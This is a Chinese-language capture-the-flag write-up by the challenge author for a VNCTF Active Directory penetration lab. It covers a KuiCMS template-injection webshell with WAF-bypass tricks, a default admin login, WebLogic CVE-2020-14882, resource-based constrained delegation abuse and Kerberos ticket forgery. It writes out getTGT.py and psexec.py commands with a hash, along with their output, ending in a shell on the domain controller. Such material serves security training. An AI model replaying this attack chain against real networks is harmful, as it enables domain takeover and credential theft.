出题思路
感觉 CTF 目前有点太偏离实战了,所以出了一个简单的域渗透的题目。考点都蛮常见的 都是红队基本常识(x
WEB
GetShell
拿到手发现是kuicms最新版本 附件给了源码
Google后发现没有什么好玩的洞。所以得自己审计
然后大家拿到源码发现似乎有混淆,很恶心,自己又很菜,审计不出来前台rce
本地搭环境后发现后台可以完成rce
发现在后台用模板注入可以直接插入php代码。但是有本身的waf导致不能直接插入类似eval($_POST[1])
这样的语句。这里提供了多种方法用来写shell
- 使用拼接 例如 sys.tem(ls);
- 使用file_put_contents();
- 因为WEB在windows下。可以通过windows下载命令完成shell写入
那么问题来了。我怎么知道后台密码?
来自出题人的话:
大家一定会去审计源码,然后审不出来,骂一句出题人是卡比吧
其实呢 你试试admin admin登录就完事了嘛
拿到shell以后就可以上线CS/MSF了(预期这里还加了某六零,但是好像没人绕过去 就删除了)所以这里讨论目前的情况
提权
本题目本来是想考察对于杀毒的bypass 没有安装任何补丁。所以使用常见提权都可以。
SYSTEM就无脑上线了
然后进行域信息收集
域内机器 - Weblogic
对内网扫描后发现IP为10.233.71.130
的windows10机器中开放了weblogic
socks 代理直接打开
可以收集到版本信息
百度下exp,可以用市面上很多打通,我这里使用的是CVE-2020-14882
打回显
这台机器预期也是不出网的,但是好像选手们不太清楚,所以后来改成出网了
无脑命令回显以后,就可以拿shell了
愉快的上线cs
这里可以不用提权(这机器除了msi那个提权或者0day好像提不上去了)
或者你可以用下面的约束委派
域内机器 - HA1
对 VNctf 用户进行信息收集
发现此用户对于HA1
机器有完全的控制权限
可以看到vnctf这个用户对HA1这个计算机账户拥有GenericAll权限
在域中有一个属性MachineAccountQuota
,允许用户在域中创建的计算机机器帐户,默认为10
而计算机账户默认是注册RestrictedKrbHost/domain
和HOST/domain
这两个SPN的
所以这里刚好符合我们要求
使用powermad创建机器用户
查询objectsid:
添加权限
确认权限
利用配置好的资源约束委派,使用ha1c9on$模拟administrator拿到一张票据并用psexec提权
用bind_tcp去打
拿到shell
hashdump 发现了vnctf的ntml
域控 - DC
信息收集
beacon> shell powershell -ep bypass Import-Module
发现vnctf还对DC可以委派
使用vnctf模拟administrator拿到一张票据
getTGT.py ha1c9on.org/vnctf@DC -dc-ip 10.233.71.10 -hashes f65c21a7a7988c169ad3406750201976:f65c21a7a7988c169ad3406750201976
psexec提权
ha1c9on@ha1c9ondeMacBook-Pro ~ % export KRB5CCNAME=administrator.ccache
ha1c9on@ha1c9ondeMacBook-Pro ~ % psexec.py ha1c9on/administrator@DC -k -no-pass -dc-ip 10.233.71.10
Impacket v0.9.22.dev1 - Copyright 2020 SecureAuth Corporation
[*] Requesting shares on DC.....
[*] Found writable share ADMIN$
[*] Uploading file mUZEGJSy.exe
[*] Opening SVCManager on DC.....
[*] Creating service qEFC on DC.....
[*] Starting service qEFC.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1518]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32>hostname
dc
C:\Windows\system32>type c:\\users\administrator\\desktop\\flag.txt
VNCTF{krbtgt?_nonononono}
非预期
题目只有一个解 ,来自用户[Alphabug]
原因是我在WEB机器卸载360时候输入了域控密码。导致可以直接mimikatz得到 而在环境配置过程中忘记了system可以绕过组策略的 禁止用户调试
导致可以直接做票据到域控
就成了 这样
后记
本题出的十分仓促,没有经过多次测试,导致了非预期的情况以及各位师傅不好的体验,这里道歉了
由于出题时间不足,本来还想考个exchange和weblogic站库分离 以及bypass某巴斯某 dump 内存的
这题目在内部赛四台机器分了四个flag文件。公开赛只用了域控
希望能给各位师傅一些帮助